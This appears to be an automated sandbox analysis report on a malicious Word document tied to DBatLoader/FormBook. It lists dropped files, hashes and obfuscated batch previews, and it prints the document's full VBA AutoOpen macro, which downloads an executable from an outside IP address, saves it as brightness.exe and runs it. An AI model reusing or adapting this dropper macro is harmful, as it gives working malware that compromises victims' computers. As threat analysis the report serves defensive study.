                                                                                                                                                      Airway bill details - Delivery receipt Contact Form no_45987165927 ,pdf.scr.exeGet hashmaliciousDBatLoader, FormBookBrowse
                                                                                                                                                        Delivery form - Airway bill details - Tracking info 45821631127I ,pdf.scr.exeGet hashmaliciousDBatLoader, FormBookBrowse

                                                                                                                                                          Created / dropped Files

                                                                                                                                                          C:\Users\Public\Aiymwhpj.url

                                                                                                                                                          Download File
                                                                                                                                                          Process:C:\Windows\SysWOW64\brightness.exe
                                                                                                                                                          File Type:MS Windows 95 Internet shortcut text (URL=<file:"C:\\Users\\Public\\Libraries\\Aiymwhpj.PIF">), ASCII text, with CRLF line terminators
                                                                                                                                                          Category:dropped
                                                                                                                                                          Size (bytes):103
                                                                                                                                                          Entropy (8bit):5.1888806884596175
                                                                                                                                                          Encrypted:false
                                                                                                                                                          SSDEEP:3:HRAbABGQYmTWAX+rSF55i0XM667ysbxEQDovo5v:HRYFVmTWDyzv6OExEsbx
                                                                                                                                                          MD5:1E301D413230853278754C3057FF9EA5
                                                                                                                                                          SHA1:F44FAA0C1EE8BF951C911B4C06346C5177E2D406
                                                                                                                                                          SHA-256:0D0123EEA46FCA90B809B087EA9464C4C4F4476CAFB4F47305D0CBD2FD10D1B6
                                                                                                                                                          SHA-512:5EBA303434E532938925CE01FBB2998519580F310A986076C15F8001014557DA91786E0B9EC8D73CF0855B1678029F1780B2485E70FF9F1E1D11F7241D2E064B
                                                                                                                                                          Malicious:true
                                                                                                                                                          Preview:[InternetShortcut]..URL=file:"C:\\Users\\Public\\Libraries\\Aiymwhpj.PIF"..IconIndex=954553..HotKey=7..

                                                                                                                                                          C:\Users\Public\AiymwhpjF.cmd

                                                                                                                                                          Download File
                                                                                                                                                          Process:C:\Windows\SysWOW64\brightness.exe
                                                                                                                                                          File Type:DOS batch file, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                          Category:dropped
                                                                                                                                                          Size (bytes):15789
                                                                                                                                                          Entropy (8bit):4.658965888116939
                                                                                                                                                          Encrypted:false
                                                                                                                                                          SSDEEP:384:wleG1594aKczJRP1dADCDswtJPZ9KZVst1U:LA4aLz08JaJ
                                                                                                                                                          MD5:CCE3C4AEE8C122DD8C44E64BD7884D83
                                                                                                                                                          SHA1:C555C812A9145E2CBC66C7C64BA754B0C7528D6D
                                                                                                                                                          SHA-256:4A12ABB62DD0E5E1391FD51B7448EF4B9DA3B3DC83FF02FB111E15D6A093B5E8
                                                                                                                                                          SHA-512:EA23EDFB8E3CDA49B78623F6CD8D0294A4F4B9B11570E8478864EBDEE39FCC6B8175B52EB947ED904BE27B5AF2535B9CA08595814557AE569020861A133D827D
                                                                                                                                                          Malicious:false
                                                                                                                                                          Preview:.@echo off..@% %e%.%c%o..%h%. .......%o%r.r.r.....% %.......%o%..%f% .%f%o%..s%...... .%e%.r.%t%...o..r.% %.....%"%.......%u%.%T%r..%A%..%j%r........%=%.. o......%s%....o...%e%.....%t%.% %........%"%.r.......o%..%uTAj%"%.. . ..%N%.r r.... %U%... .oo...%M%r.........%j%.....%=%.....o....%=%.%"%r...... %..%uTAj%"% .....%m%..oo%X%.o.. %m%.....or.%w%....%O%.%g%.....%B%.o .r.. %W%..%D%........%t%o.r...%%NUMj%h% ...o.%t%..%t%o......o%p%.........%"% .r%..%uTAj%"% .... ..%G%...o.. ..%n%..rr..%j%..o......%D%...o .r..%R%r.

                                                                                                                                                          C:\Users\Public\Libraries\Aiymwhpj

                                                                                                                                                          Download File
                                                                                                                                                          Process:C:\Windows\SysWOW64\brightness.exe
                                                                                                                                                          File Type:data
                                                                                                                                                          Category:dropped
                                                                                                                                                          Size (bytes):587483
                                                                                                                                                          Entropy (8bit):7.97941698770942
                                                                                                                                                          Encrypted:false
                                                                                                                                                          SSDEEP:12288:+cZzMs7baCyZxlymn17OtgtNXR1Fye2D69AEhIKb4u/k:+cpBbR+lyG17mgtNPae9XIA/k
                                                                                                                                                          MD5:CBCC38C75EFFD12EDFBFE3A42776952D
                                                                                                                                                          SHA1:15888D1A926BE2E5169CCF5B2C6C44149EA478A7
                                                                                                                                                          SHA-256:43B4EDAED35A38B6304187C67BE1BEDA3F18769CDB06902BCFFB7BE597AC72A5
                                                                                                                                                          SHA-512:7A45405A506D59FF89056388809C7EF11F09A2C04661DEE3C6E8C0F82E7C1E230F77B98D4CCC9F3996173ED848C38FC8379337313D4A13CCD1E76CAE4D2696C7
                                                                                                                                                          Malicious:true
                                                                                                                                                          Preview:.By.1.f.>...vB..X.'n...N.......B......-.$$....0....A.&&....-%.W..Ca..N..7b..R. +N..]..3X..X..HC.xF..T+.p4|.R7.hAm.M.5.T{..J.Q.Y..g.X6...`.....Ol+..t.S.;...>^}0.m.0O.z9.yt.:..Q....K._...T.|@...5......A......T!..x.uN......$$\..h..+^.....Bc.V.....H......}.N.q...9f.l...>RB....(".....]...d./ !o.[.*....X..$$...!.....y-o9%.._^..f..Ih.W.A..S4..0...V..&$..V8..M..[76..N.O.\.e.#.t.V.D..gG.J...b0.e...g.0.r.@.N....W. .nx!Q.b....Z.^....3jiN..je#......:......L7..!...T+x@i..:'.H../&$.[.~.Y....h.[.. .x.....>&$%....+...,.R....K....Gz...........'..E\....W.Z....c.f..".'U7..1..SF...5J.|1..1M.r4.9.A.}Y.%.J.`....o.2k.Ecr.=u.=Uu....mm.5.-.q..=.$$~....GhAh..j-.....g..d....d.........+..... .....7.).j..It4..%G...w..d.l.i.R.S..p/.+.8.jz.>.E...P.[.{..]).%b:.x3x,....-.:&$..Kz.C/.r.}&$)=.|U..Ca..g.$&.j..C..Q+.ey..KL..)pI....%.+....B..=..m.\C.i5....u...*. k...O..l..8......,.....C.....}6......-Y.5....=...p..H.."@...N..s.>....1%..lm.......G.e....].(h.|.9x-%;..]pN.

                                                                                                                                                          C:\Users\Public\Libraries\Aiymwhpj.PIF

                                                                                                                                                          Download File
                                                                                                                                                          Process:C:\Windows\SysWOW64\brightness.exe
                                                                                                                                                          File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                          Category:dropped
                                                                                                                                                          Size (bytes):1161216
                                                                                                                                                          Entropy (8bit):7.188493218292404
                                                                                                                                                          Encrypted:false
                                                                                                                                                          SSDEEP:24576:Gw6yj+R7ydItm/2uQAGYDKAVcpzWc4ctu:GDBR2KTYDKArc4Ku
                                                                                                                                                          MD5:483AB6BD562B28782D0999ABEC4F57F5
                                                                                                                                                          SHA1:B758556AF2B98708B97A6C3BDBD1E9F2905ED690
                                                                                                                                                          SHA-256:E5393C34240B7E1B8A35052D7E151C324A4AA6424B5A6E1A45717157042FB9AB
                                                                                                                                                          SHA-512:6F3F60153B3C4B1A780C80D59A4E17D8C109F57A1380F73B50498AC85A081B804D0F7C0FFADE4AC193656B3135DEDDDCD607121D9571B4C3BAF34103E36D129D
                                                                                                                                                          Malicious:true
                                                                                                                                                          Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*..........................................@..........................@...................@...........................P..n&... ...........................|..................................................TW...............................text............................... ..`.itext..H........................... ..`.data...@........ ..................@....bss.....6...............................idata..n&...P...(..................@....tls....4................................rdata..............................@..@.reloc...|.......~..................@..B.rsrc........ ......................@..@.............@......................@..@................................................................................................

                                                                                                                                                          C:\Users\Public\Libraries\FX.cmd

                                                                                                                                                          Download File
                                                                                                                                                          Process:C:\Windows\SysWOW64\brightness.exe
                                                                                                                                                          File Type:DOS batch file, Unicode text, UTF-8 text, with CRLF line terminators
                                                                                                                                                          Category:dropped
                                                                                                                                                          Size (bytes):8556
                                                                                                                                                          Entropy (8bit):4.623706637784657
                                                                                                                                                          Encrypted:false
                                                                                                                                                          SSDEEP:192:dSSQx41VVrTlS2owuuWTtkY16Wdhdsu0mYKDCIfYaYuX1fcDuy:Vrhgwuua5vdnQaCIVJF6uy
                                                                                                                                                          MD5:60CD0BE570DECD49E4798554639A05AE
                                                                                                                                                          SHA1:BD7BED69D9AB9A20B5263D74921C453F38477BCB
                                                                                                                                                          SHA-256:CA6A6C849496453990BECEEF8C192D90908C0C615FA0A1D01BCD464BAD6966A5
                                                                                                                                                          SHA-512:AB3DBDB4ED95A0CB4072B23DD241149F48ECFF8A69F16D81648E825D9D81A55954E5DD9BC46D3D7408421DF30C901B9AD1385D1E70793FA8D715C86C9E800C57
                                                                                                                                                          Malicious:true
                                                                                                                                                          Preview:@echo off..set "MJtc=Iet "..@%.r.......%e%...%c%...r....%h%.....%o%........% % .....%o%...%f%.o.%f%......%..s%.......%e%.%t%.. .....% %.rr.. .%"%...%w%......%o%...o..%t%r.....%c%....%=%... . .%s%...... %e%....%t%....% %........ %"% o...%..%wotc%"%.%n% r .%O%...%P%.. ..%t%.%=%...... o..%=%......%"%....r...%..%wotc%"aeeYdDdanR%nOPt%s://"..%wotc%"%..........%a%.%e%......%e%.r..%Y%..%d%.....r....%D%.. %d% ... .%a%.. ...%n%.. ..%R%........%%nOPt%s%...... .%:%.. %/%....%/%r......%"%.....r.%..%wotc%"%...... ...%U%.o..%g%.r.%

                                                                                                                                                          C:\Users\Public\Libraries\NEO.cmd

                                                                                                                                                          Download File
                                                                                                                                                          Process:C:\Windows\SysWOW64\brightness.exe
                                                                                                                                                          File Type:DOS batch file, Unicode text, UTF-8 text, with very long lines (420), with CRLF line terminators
                                                                                                                                                          Category:dropped
                                                                                                                                                          Size (bytes):46543
                                                                                                                                                          Entropy (8bit):4.705001079878445
                                                                                                                                                          Encrypted:false
                                                                                                                                                          SSDEEP:768:Ud6T6yIssKMyD/LgZ0+9Z2noufIBUEADZQp2H8ZLq:UdQFIssKMyjL4X2T8UbZT
                                                                                                                                                          MD5:637A66953F03B084808934ED7DF7192F
                                                                                                                                                          SHA1:D3AE40DFF4894972A141A631900BD3BB8C441696
                                                                                                                                                          SHA-256:41E1F89A5F96F94C2C021FBC08EA1A10EA30DAEA62492F46A7F763385F95EC20
                                                                                                                                                          SHA-512:2A0FEDD85722A2701D57AA751D5ACAA36BBD31778E5D2B51A5A1B21A687B9261F4685FD12E894244EA80B194C76E722B13433AD9B649625D2BC2DB4365991EA3
                                                                                                                                                          Malicious:false
                                                                                                                                                          Preview:@echo off..set "EPD=sPDet "..@%...... or%e%.........%c%......%h%.........o%o%.or......% %.o.ro...%o%.%f%...r.....%f%....r....%..s%. %e%.....%t% % % rrr....%"%.....%E%....%J%.. ....%O%.%h% .......%=%........%s%.. ..%e%....%t%....% %...o...%"%.%..%EJOh%"%.%r% %H%..%C%........%N%....o ....%=%..........%=% .%"%..%..%EJOh%"%.....%K%.%z%..r%j%........%L%..%c%. o.......%f%. o..%x%.%X%.........r%V%.%J%.....%%rHCN%k%.... ...%"%........%..%EJOh%"%.o.....%a%or%g%..o.... ..%u% ..%P%.....o...%X%.. .......%c% .....%U%.%I%. .

                                                                                                                                                          C:\Users\Public\Libraries\jphwmyiA.pif

                                                                                                                                                          Download File
                                                                                                                                                          Process:C:\Windows\SysWOW64\brightness.exe
                                                                                                                                                          File Type:PE32 executable (console) Intel 80386, for MS Windows
                                                                                                                                                          Category:dropped
                                                                                                                                                          Size (bytes):175800
                                                                                                                                                          Entropy (8bit):6.631791793070417
                                                                                                                                                          Encrypted:false
                                                                                                                                                          SSDEEP:3072:qjyOm0e6/bIhbuwxlEb1MpG+xUEyAn0fYuDGOpPXFZ7on+gUxloDMq:qjyl6ebX45OG+xUEWfYUGOpPXFZ7on+G
                                                                                                                                                          MD5:22331ABCC9472CC9DC6F37FAF333AA2C
                                                                                                                                                          SHA1:2A001C30BA79A19CEAF6A09C3567C70311760AA4
                                                                                                                                                          SHA-256:BDFA725EC2A2C8EA5861D9B4C2F608E631A183FCA7916C1E07A28B656CC8EC0C
                                                                                                                                                          SHA-512:C7F5BAAD732424B975A426867D3D8B5424AA830AA172ED0FF0EF630070BF2B4213750E123A36D8C5A741E22D3999CA1D7E77C62D4B77D6295B20A38114B7843C
                                                                                                                                                          Malicious:true
                                                                                                                                                          Antivirus:
                                                                                                                                                          • Antivirus: ReversingLabs, Detection: 3%
                                                                                                                                                          Joe Sandbox View:
                                                                                                                                                          • Filename: yxU3AgeVTi.exe, Detection: malicious, Browse
                                                                                                                                                          • Filename: ITT # KRPBV2663 .doc, Detection: malicious, Browse
                                                                                                                                                          • Filename: PI ITS15235.doc, Detection: malicious, Browse
                                                                                                                                                          • Filename: PO#5_Tower_049.bat, Detection: malicious, Browse
                                                                                                                                                          • Filename: HSBC_PAY.SCR.exe, Detection: malicious, Browse
                                                                                                                                                          • Filename: PO_B2W984.com, Detection: malicious, Browse
                                                                                                                                                          • Filename: image.exe, Detection: malicious, Browse
                                                                                                                                                          • Filename: PO_KB#67897.cmd, Detection: malicious, Browse
                                                                                                                                                          • Filename: Airway bill details - Delivery receipt Contact Form no_45987165927 ,pdf.scr.exe, Detection: malicious, Browse
                                                                                                                                                          • Filename: Delivery form - Airway bill details - Tracking info 45821631127I ,pdf.scr.exe, Detection: malicious, Browse
                                                                                                                                                          Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................................................................................................................................................................................................................................................................................PE..L....>.{..................................... ....@.......................... .......c........... ..............................................................H....................................................................................text............................... ..`.data........ ...P..................@....tls.................`..............@....rdata...............b..............@..P.idata... ...........d..............@..@.edata...............|..8...,...@...@..@

                                                                                                                                                          C:\Users\user\AppData\Local\Temp\~DF31826F4761D0A9B6.TMP

                                                                                                                                                          Download File
                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
                                                                                                                                                          File Type:data
                                                                                                                                                          Category:dropped
                                                                                                                                                          Size (bytes):512
                                                                                                                                                          Entropy (8bit):0.0
                                                                                                                                                          Encrypted:false
                                                                                                                                                          SSDEEP:3::
                                                                                                                                                          MD5:BF619EAC0CDF3F68D496EA9344137E8B
                                                                                                                                                          SHA1:5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
                                                                                                                                                          SHA-256:076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
                                                                                                                                                          SHA-512:DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
                                                                                                                                                          Malicious:false
                                                                                                                                                          Preview:................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                          C:\Users\user\Desktop\~$Q-0092025.doc

                                                                                                                                                          Download File
                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
                                                                                                                                                          File Type:data
                                                                                                                                                          Category:dropped
                                                                                                                                                          Size (bytes):162
                                                                                                                                                          Entropy (8bit):2.673088710516744
                                                                                                                                                          Encrypted:false
                                                                                                                                                          SSDEEP:3:klt+lllNLSlFCwgEpXn/lfllXzNTwT:7tZWQI5nl9wT
                                                                                                                                                          MD5:7E8521D9EE8318F43D09C8238D8A8A29
                                                                                                                                                          SHA1:124611AFEF8081FD595D59DAF7A7D204DEE4DEDD
                                                                                                                                                          SHA-256:90950B656E94181855D11780B6D6058B9BF5A2DCAE690168B8A8AE0F75B157B5
                                                                                                                                                          SHA-512:B4192479A271BB12FAD534D74F891A3E0BAE1D9A0993D47A0DB42580798E2BC5B28B992E9A401B79C411B03D388E9B2C1F4A8AD3169BAF9CA8999BEA231A838A
                                                                                                                                                          Malicious:false
                                                                                                                                                          Preview:.user.................................................a.l.f.o.n.s...h.......Q............a.i............................................5...%..}..i.........=.i

                                                                                                                                                          C:\Windows\SysWOW64\brightness.exe

                                                                                                                                                          Download File
                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
                                                                                                                                                          File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                          Category:dropped
                                                                                                                                                          Size (bytes):1161216
                                                                                                                                                          Entropy (8bit):7.188493218292404
                                                                                                                                                          Encrypted:false
                                                                                                                                                          SSDEEP:24576:Gw6yj+R7ydItm/2uQAGYDKAVcpzWc4ctu:GDBR2KTYDKArc4Ku
                                                                                                                                                          MD5:483AB6BD562B28782D0999ABEC4F57F5
                                                                                                                                                          SHA1:B758556AF2B98708B97A6C3BDBD1E9F2905ED690
                                                                                                                                                          SHA-256:E5393C34240B7E1B8A35052D7E151C324A4AA6424B5A6E1A45717157042FB9AB
                                                                                                                                                          SHA-512:6F3F60153B3C4B1A780C80D59A4E17D8C109F57A1380F73B50498AC85A081B804D0F7C0FFADE4AC193656B3135DEDDDCD607121D9571B4C3BAF34103E36D129D
                                                                                                                                                          Malicious:true
                                                                                                                                                          Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*..........................................@..........................@...................@...........................P..n&... ...........................|..................................................TW...............................text............................... ..`.itext..H........................... ..`.data...@........ ..................@....bss.....6...............................idata..n&...P...(..................@....tls....4................................rdata..............................@..@.reloc...|.......~..................@..B.rsrc........ ......................@..@.............@......................@..@................................................................................................

                                                                                                                                                          Static File Info

                                                                                                                                                          General

                                                                                                                                                          File type:Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Author: GRACE, Template: Normal.dotm, Last Saved By: GRACE, Revision Number: 2, Name of Creating Application: Microsoft Office Word, Total Editing Time: 01:00, Create Time/Date: Tue Jan 7 08:57:00 2025, Last Saved Time/Date: Tue Jan 7 08:57:00 2025, Number of Pages: 1, Number of Words: 0, Number of Characters: 1, Security: 0
                                                                                                                                                          Entropy (8bit):7.058184259014953
                                                                                                                                                          TrID:
                                                                                                                                                          • Microsoft Word document (32009/1) 54.23%
                                                                                                                                                          • Microsoft Word document (old ver.) (19008/1) 32.20%
                                                                                                                                                          • Generic OLE2 / Multistream Compound File (8008/1) 13.57%
                                                                                                                                                          File name:ENQ-0092025.doc
                                                                                                                                                          File size:146'944 bytes
                                                                                                                                                          MD5:3db6baf168cecc916012a59b6530175a
                                                                                                                                                          SHA1:7d74c680b09f982271a50483ce350a5b3d9a0996
                                                                                                                                                          SHA256:96882b077a607f34cd963461341d728982e2075ffd4891f1b91e915da904cfe0
                                                                                                                                                          SHA512:5a4b22f622559b8db815b1dc8cfa206eb433e55541de7d2540bd786703a0a418d03d1b657bcbdf9ceff74c863a1c7e4d324e3a555fd66d0905034ccdf5d677c5
                                                                                                                                                          SSDEEP:1536:F7dgmjjy2lQkySTUb2roegTK+g9WomfaQjSqttJnkL5mS9kBwNR42qe3/w:FZPjbTU+J799IjSqtteL5N9kBF27
                                                                                                                                                          TLSH:AEE3C447A9458B43E03493B5BE435FAD2F197E0CA9866AEF11273E9B3D302324D4E16D
                                                                                                                                                          File Content Preview:........................>......................................................................................................................................................................................................................................

                                                                                                                                                          File Icon

                                                                                                                                                          Icon Hash:35e1cc889a8a8599

                                                                                                                                                          Static OLE Info

                                                                                                                                                          General

                                                                                                                                                          Document Type:OLE
                                                                                                                                                          Number of OLE Files:1

                                                                                                                                                          OLE File "ENQ-0092025.doc"

                                                                                                                                                          Indicators
                                                                                                                                                          Has Summary Info:
                                                                                                                                                          Application Name:Microsoft Office Word
                                                                                                                                                          Encrypted Document:False
                                                                                                                                                          Contains Word Document Stream:True
                                                                                                                                                          Contains Workbook/Book Stream:False
                                                                                                                                                          Contains PowerPoint Document Stream:False
                                                                                                                                                          Contains Visio Document Stream:False
                                                                                                                                                          Contains ObjectPool Stream:False
                                                                                                                                                          Flash Objects Count:0
                                                                                                                                                          Contains VBA Macros:True
                                                                                                                                                          Summary
                                                                                                                                                          Code Page:1252
                                                                                                                                                          Title:
                                                                                                                                                          Subject:
                                                                                                                                                          Author:GRACE
                                                                                                                                                          Keywords:
                                                                                                                                                          Comments:
                                                                                                                                                          Template:Normal.dotm
                                                                                                                                                          Last Saved By:GRACE
                                                                                                                                                          Revion Number:2
                                                                                                                                                          Total Edit Time:60
                                                                                                                                                          Create Time:2025-01-07 08:57:00
                                                                                                                                                          Last Saved Time:2025-01-07 08:57:00
                                                                                                                                                          Number of Pages:1
                                                                                                                                                          Number of Words:0
                                                                                                                                                          Number of Characters:1
                                                                                                                                                          Creating Application:Microsoft Office Word
                                                                                                                                                          Security:0
                                                                                                                                                          Document Summary
                                                                                                                                                          Document Code Page:1252
                                                                                                                                                          Number of Lines:1
                                                                                                                                                          Number of Paragraphs:1
                                                                                                                                                          Thumbnail Scaling Desired:False
                                                                                                                                                          Company:
                                                                                                                                                          Contains Dirty Links:False
                                                                                                                                                          Shared Document:False
                                                                                                                                                          Changed Hyperlinks:False
                                                                                                                                                          Application Version:983040

                                                                                                                                                          Streams with VBA

                                                                                                                                                          VBA File Name: ThisDocument.cls, Stream Size: 4808
                                                                                                                                                          General
                                                                                                                                                          Stream Path:Macros/VBA/ThisDocument
                                                                                                                                                          VBA File Name:ThisDocument.cls
                                                                                                                                                          Stream Size:4808
                                                                                                                                                          Data ASCII:. . . . . . . . V . . . . . . . . . ] . . . . . . . . . . . . . . 8 . n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S " . . . . S . . . . . S " . . . . . < . . . . . . . . . . ( . 1 . N . o . r . m . a . l . . . T . h .
                                                                                                                                                          Data Raw:01 16 01 00 01 f0 00 00 00 56 05 00 00 d4 00 00 00 da 01 00 00 ff ff ff ff 5d 05 00 00 81 0f 00 00 00 00 00 00 01 00 00 00 38 20 08 6e 00 00 ff ff a3 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                          VBA Code
                                                                                                                                                          Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
 
Dim xHttp:
'this is a comment



Set xHttp = CreateObject("M" & "S" & "X" & "M" & "L" & "2" & "." & "S" & "er" & "ver" & "XM" & "LH" & "TTP")
'this is a comment
Dim bStrm:
'this is a comment
Set bStrm = CreateObject("Ad" & "od" & "b.S" & "tr" & "ea" & "m")



Dim nirm1
nirm1 = "h"
Dim nirm2
nirm2 = "t"
Dim nirm3
nirm3 = "t" & "p:/" & "/147.124.216.113/image"
Dim nirm4
nirm4 = "."
Dim nirm5
nirm5 = "e"
Dim nirm6
nirm6 = "x"
Dim nirm7
nirm7 = "e"



Dim plpl
plpl = nirm1 & nirm2 & nirm3 & nirm4 & nirm5 & nirm6 & nirm7

'this is a comment
xHttp.Open "GET", plpl, False
xHttp.Send




 
With bStrm
 .Type = 1
.Open
 .write xHttp.responsebody
 
 'this is a comment
 
Dim monu1
 monu1 = "brightness"
 Dim monu2
 monu2 = "."
 'this is a comment
 Dim monu3
 monu3 = "e"
 'this is a comment
 Dim monu4
 monu4 = "x"
 'this is a comment
 Dim monu5
 monu5 = "e"
 'this is a comment
 Dim monu6
 monu6 = monu1 & monu2 & monu3 & monu4 & monu5
 
 
 .savetofile monu6, 2


Dim parveen1
Dim parveen2
Dim parveen3
Dim parveen4
Dim praveen1
praveen1 = """brightness"
Dim praveen2
praveen2 = "."
'this is a comment
Dim praveen3
praveen3 = "e"
'this is a comment
Dim praveen4
praveen4 = "x"
'this is a comment
Dim praveen5
praveen5 = "e"""
'this is a comment



Dim praveen6
praveen6 = praveen1 & praveen2 & praveen3 & praveen4 & praveen5
 


End With
 
Shell (praveen6)
 
End Sub

                                                                                                                                                          Streams

                                                                                                                                                          Stream Path: \x1CompObj, File Type: data, Stream Size: 114
                                                                                                                                                          General
                                                                                                                                                          Stream Path:\x1CompObj
                                                                                                                                                          CLSID:
                                                                                                                                                          File Type:data
                                                                                                                                                          Stream Size:114
                                                                                                                                                          Entropy:4.235956365095031
                                                                                                                                                          Base64 Encoded:True
                                                                                                                                                          Data ASCII:. . . . . . . . . . . . . . . . . . . . F . . . M i c r o s o f t W o r d 9 7 - 2 0 0 3 D o c u m e n t . . . . . M S W o r d D o c . . . . . W o r d . D o c u m e n t . 8 . 9 q . . . . . . . . . . . .
                                                                                                                                                          Data Raw:01 00 fe ff 03 0a 00 00 ff ff ff ff 06 09 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 20 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 57 6f 72 64 20 39 37 2d 32 30 30 33 20 44 6f 63 75 6d 65 6e 74 00 0a 00 00 00 4d 53 57 6f 72 64 44 6f 63 00 10 00 00 00 57 6f 72 64 2e 44 6f 63 75 6d 65 6e 74 2e 38 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                          Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 4096
                                                                                                                                                          General
                                                                                                                                                          Stream Path:\x5DocumentSummaryInformation
                                                                                                                                                          CLSID:
                                                                                                                                                          File Type:data
                                                                                                                                                          Stream Size:4096
                                                                                                                                                          Entropy:0.24379920956187054
                                                                                                                                                          Base64 Encoded:False
                                                                                                                                                          Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , 0 . . . . . . . . . . . . . . h . . . . . . . p . . . . . . . | . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . T i t l e . . . . . .
                                                                                                                                                          Data Raw:fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 e8 00 00 00 0c 00 00 00 01 00 00 00 68 00 00 00 0f 00 00 00 70 00 00 00 05 00 00 00 7c 00 00 00 06 00 00 00 84 00 00 00 11 00 00 00 8c 00 00 00 17 00 00 00 94 00 00 00 0b 00 00 00 9c 00 00 00 10 00 00 00 a4 00 00 00 13 00 00 00 ac 00 00 00
                                                                                                                                                          Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 4096
                                                                                                                                                          General
                                                                                                                                                          Stream Path:\x5SummaryInformation
                                                                                                                                                          CLSID:
                                                                                                                                                          File Type:data
                                                                                                                                                          Stream Size:4096
                                                                                                                                                          Entropy:0.46196969653588177
                                                                                                                                                          Base64 Encoded:False
                                                                                                                                                          Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . + ' 0 . . . l . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . . . 4 . . . . . . . @ . . . . . . . L . . . . . . . T . . . . . . . \\ . . . . . . . d . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . G R A C E . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . N o r m a
                                                                                                                                                          Data Raw:fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 6c 01 00 00 11 00 00 00 01 00 00 00 90 00 00 00 02 00 00 00 98 00 00 00 03 00 00 00 a4 00 00 00 04 00 00 00 b0 00 00 00 05 00 00 00 c0 00 00 00 06 00 00 00 cc 00 00 00 07 00 00 00 d8 00 00 00 08 00 00 00 ec 00 00 00 09 00 00 00 fc 00 00 00
                                                                                                                                                          Stream Path: 1Table, File Type: data, Stream Size: 7019
                                                                                                                                                          General
                                                                                                                                                          Stream Path:1Table
                                                                                                                                                          CLSID:
                                                                                                                                                          File Type:data
                                                                                                                                                          Stream Size:7019
                                                                                                                                                          Entropy:5.867058948447899
                                                                                                                                                          Base64 Encoded:True
                                                                                                                                                          Data ASCII:. . . . . . . . s . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . v . . . v . . . v . . . v . . . v . . . v . . . v . . . v . . . v . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . > . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6
                                                                                                                                                          Data Raw:0a 06 0f 00 12 00 01 00 73 01 0f 00 07 00 03 00 03 00 03 00 00 00 04 00 08 00 00 00 98 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00
